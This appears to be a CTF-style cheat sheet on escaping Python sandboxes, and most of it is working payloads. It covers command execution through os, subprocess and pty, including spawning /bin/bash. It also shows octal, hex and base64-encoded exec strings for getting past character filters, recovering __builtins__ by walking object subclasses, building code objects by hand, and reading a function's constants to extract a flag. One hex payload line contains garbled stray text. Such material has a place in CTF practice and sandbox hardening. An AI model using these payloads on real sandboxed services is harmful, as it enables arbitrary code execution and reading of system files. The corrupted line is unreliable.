These are some tricks to bypass python sandbox protections and execute arbitrary commands.
The first thing you need to know is if you can directly execute code with some already imported library, or if you could import any of these libraries:
os.system("ls")os.popen("ls").read()commands.getstatusoutput("ls")commands.getoutput("ls")commands.getstatus("file/path")subprocess.call("ls", shell=True)subprocess.Popen("ls", shell=True)pty.spawn("ls")pty.spawn("/bin/bash")platform.popen("ls").read()​#Other interesting functionsopen("/etc/passwd").read()open('/var/www/html/input', 'w').write('123')
Remember that the open and read functions can be useful to read files inside the python sandbox and to write some code that you could execute to bypass the sandbox. Python2 input() function allows to execute python code before the program crashes.
import osfrom os import *__import__('os').system("ls")
If sys
module is present, you can use it to access os
library for example:
sys.modules["os"].system("ls")
You can also import libraries and any file is using execfile()
(python2):
execfile('/usr/lib/python2.7/os.py')system('ls')
Python try to load libraries from the current directory first: python3 -c 'import sys; print(sys.path)'
This is really interesting if some characters are forbidden because you can use the hex/octal/B64 representation to bypass the restriction:
exec("print('RCE'); __import__('os').system('ls')") #Using ";"exec("print('RCE')\n__import__('os').system('ls')") #Using "\n"eval("__import__('os').system('ls')") #Eval doesn't allow ";"eval(compile('print("hello world"); print("heyy")', '<stdin>', 'exec')) #This way eval accept ";"__import__('timeit').timeit("__import__('os').system('ls')",number=1)#One liners that allow new lines and tabseval(compile('def myFunc():\n\ta="hello word"\n\tprint(a)\nmyFunc()', '<stdin>', 'exec'))exec(compile('def myFunc():\n\ta="hello word"\n\tprint(a)\nmyFunc()', '<stdin>', 'exec'))
#Octalexec("\137\137\151\155\160\157\162\164\137\137\50\47\157\163\47\51\56\163\171\163\164\145\155\50\47\154\163\47\51")#Hexexec("\x5f\x5f\x69\x6d\xIf youca70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x79\x73\x74\x65\x6d\x28\x27\x6c\x73\x27\x29")#Base64exec('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='.decode("base64")) #Only python2exec(__import__('base64').b64decode('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='))
In a previous example you can see how to execute any python code using the compile
function. This is really interesting because you can execute whole scripts with loops and everything in a one liner (and we could do the same using exec
).
Anyway, sometimes it could be useful to create a compiled object in a local machine and execute it in the CTF (for example because we don't have the compile
function in the CTF).
For example, let's compile and execute manually a function that reads ./poc.py:
#Locallydef read():return open("./poc.py",'r').read()​read.__code__.co_code't\x00\x00d\x01\x00d\x02\x00\x83\x02\x00j\x01\x00\x83\x00\x00S'
#On Remotefunction_type = type(lambda: None)code_type = type((lambda: None).__code__) #Get <type 'type'>consts = (None, "./poc.py", 'r')bytecode = 't\x00\x00d\x01\x00d\x02\x00\x83\x02\x00j\x01\x00\x83\x00\x00S'names = ('open','read')​# And execute it using eval/execeval(code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ()))​#You could also execut it directlyimport __builtin__mydict = {}mydict['__builtins__'] = __builtin__codeobj = code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ())function_type(codeobj, mydict, None, None, None)()
If you cannot access eval
or exec
you could create a proper function, but calling it directly is usually going to fail with: constructor not accessible in restricted mode. So you need a function not in the restricted environment call this function.
#Compile a regular printftype = type(lambda: None)ctype = type((lambda: None).func_code)f = ftype(ctype(1, 1, 1, 67, '|\x00\x00GHd\x00\x00S', (None,), (), ('s',), 'stdin', 'f', 1, ''), {})f(42)
​Builtins functions of python2 ​Builtins functions of python3​
If you can access to the__builtins__
object you can import libraries (notice that you could also use here other string representation showed in last section):
__builtins__.__dict__['__import__']("os").system("ls")
When you don't have __builtins__ you are not going to be able to import anything nor even read or write files. But there is a way to take that functionality back:
Python2
#Try to reload __builtins__reload(__builtins__)import __builtin__​# Read recovering <type 'file'> in offset 40().__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read()# Write recovering <type 'file'> in offset 40().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123')​# Execute recovering __import__ (class 59s is <class 'warnings.catch_warnings'>)().__class__.__bases__[0].__subclasses__()[59]()._module.__builtins__['__import__']('os').system('ls')# Execute (another method)().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__("func_globals")['linecache'].__dict__['os'].__dict__['system']('ls')# Execute recovering eval symbol (class 59 is <class 'warnings.catch_warnings'>)().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]["eval"]("__import__('os').system('ls')")​# Or you could obtain the builtins from a defined functionget_flag.__globals__['__builtins__']['__import__']("os").system("ls")
# Obtain the builtins from a defined functionget_flag.__globals__['__builtins__'].__import__("os").system("ls")​# The os._wrap_close class is usually loaded. Its scope gives direct access to os package (as well as __builtins__)[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if x.__name__ == '_wrap_close' ][0]['system']('ls')
# Recover __builtins__ and make eveything easier__builtins__=([x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__)__builtins__["__import__"]('os').system('ls')
''.__class__ #<type 'str'>str.__class__ #<type 'type'>str.__class__('') #<type 'str'>().__class__.__base__.__subclasses__() #Several types().__class__.__bases__[0].__subclasses__()#Several types
In some CTFs you could be provided the name of a custom function where the flag resides and you need to see the internals of the function to extract it.
This is the function to inspect:
def get_flag(some_input):var1=1var2="secretcode"var3=["some","array"]if some_input == var2:return "THIS-IS-THE-FALG!"else:return "Nope"
dir() #General dir() to find what we have loaded['__builtins__', '__doc__', '__name__', '__package__', 'b', 'bytecode', 'code', 'codeobj', 'consts', 'dis', 'filename', 'foo', 'get_flag', 'names', 'read', 'x']dir(get_flag) #Get info tof the function['__call__', '__class__', '__closure__', '__code__', '__defaults__', '__delattr__', '__dict__', '__doc__', '__format__', '__get__', '__getattribute__', '__globals__', '__hash__', '__init__', '__module__', '__name__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'func_closure', 'func_code', 'func_defaults', 'func_dict', 'func_doc', 'func_globals', 'func_name']
__globals__
and func_globals
(Same) Obtains the global environment. In the example you can see some imported modules, some global variables and their content declared:
get_flag.func_globalsget_flag.__globals__{'b': 3, 'names': ('open', 'read'), '__builtins__': <module '__builtin__' (built-in)>, 'codeobj': <code object <module> at 0x7f58c00b26b0, file "noname", line 1>, 'get_flag': <function get_flag at 0x7f58c00b27d0>, 'filename': './poc.py', '__package__': None, 'read': <function read at 0x7f58c00b23d0>, 'code': <type 'code'>, 'bytecode': 't\x00\x00d\x01\x00d\x02\x00\x83\x02\x00j\x01\x00\x83\x00\x00S', 'consts': (None, './poc.py', 'r'), 'x': <unbound method catch_warnings.__init__>, '__name__': '__main__', 'foo': <function foo at 0x7f58c020eb50>, '__doc__': None, 'dis': <module 'dis' from '/usr/lib/python2.7/dis.pyc'>}​#If you have access to some variable valueCustomClassObject.__class__.__init__.__globals__
__code__
and func_code
: You can access this to obtain some internal data of the function
#Get the optionsdir(get_flag.func_code)['__class__', '__cmp__', '__delattr__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__le__', '__lt__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'co_argcount', 'co_cellvars', 'co_code', 'co_consts', 'co_filename', 'co_firstlineno', 'co_flags', 'co_freevars', 'co_lnotab', 'co_name', 'co_names', 'co_nlocals', 'co_stacksize', 'co_varnames']#Get internal varnamesget_flag.func_code.co_varnames('some_input', 'var1', 'var2', 'var3')#Get the value of the varsget_flag.func_code.co_consts(None, 1, 'secretcode', 'some', 'array', 'THIS-IS-THE-FALG!', 'Nope')#Get bytecodeget_flag.func_code.co_code'd\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S'
Disassembly a function
import disdis.dis(get_flag)2 0 LOAD_CONST 1 (1)3 STORE_FAST 1 (var1)​3 6 LOAD_CONST 2 ('secretcode')9 STORE_FAST 2 (var2)​4 12 LOAD_CONST 3 ('some')15 LOAD_CONST 4 ('array')18 BUILD_LIST 221 STORE_FAST 3 (var3)​5 24 LOAD_FAST 0 (some_input)27 LOAD_FAST 2 (var2)30 COMPARE_OP 2 (==)33 POP_JUMP_IF_FALSE 40​6 36 LOAD_CONST 5 ('THIS-IS-THE-FALG!')39 RETURN_VALUE​8 >> 40 LOAD_CONST 6 ('Nope')43 RETURN_VALUE44 LOAD_CONST 0 (None)47 RETURN_VALUE
Notice that if you cannot import dis
in the python sandbox you can obtain the bytecode of the function (get_flag.func_code.co_code
) and disassemble it locally. You won't see the content of the variables being loaded (LOAD_CONST
) but you can guess them from (get_flag.func_code.co_consts
) because LOAD_CONST
also tells the offset of the variable being loaded.
dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S')0 LOAD_CONST 1 (1)3 STORE_FAST 1 (1)6 LOAD_CONST 2 (2)9 STORE_FAST 2 (2)12 LOAD_CONST 3 (3)15 LOAD_CONST 4 (4)18 BUILD_LIST 221 STORE_FAST 3 (3)24 LOAD_FAST 0 (0)27 LOAD_FAST 2 (2)30 COMPARE_OP 2 (==)33 POP_JUMP_IF_FALSE 4036 LOAD_CONST 5 (5)39 RETURN_VALUE>> 40 LOAD_CONST 6 (6)43 RETURN_VALUE44 LOAD_CONST 0 (0)47 RETURN_VALUE
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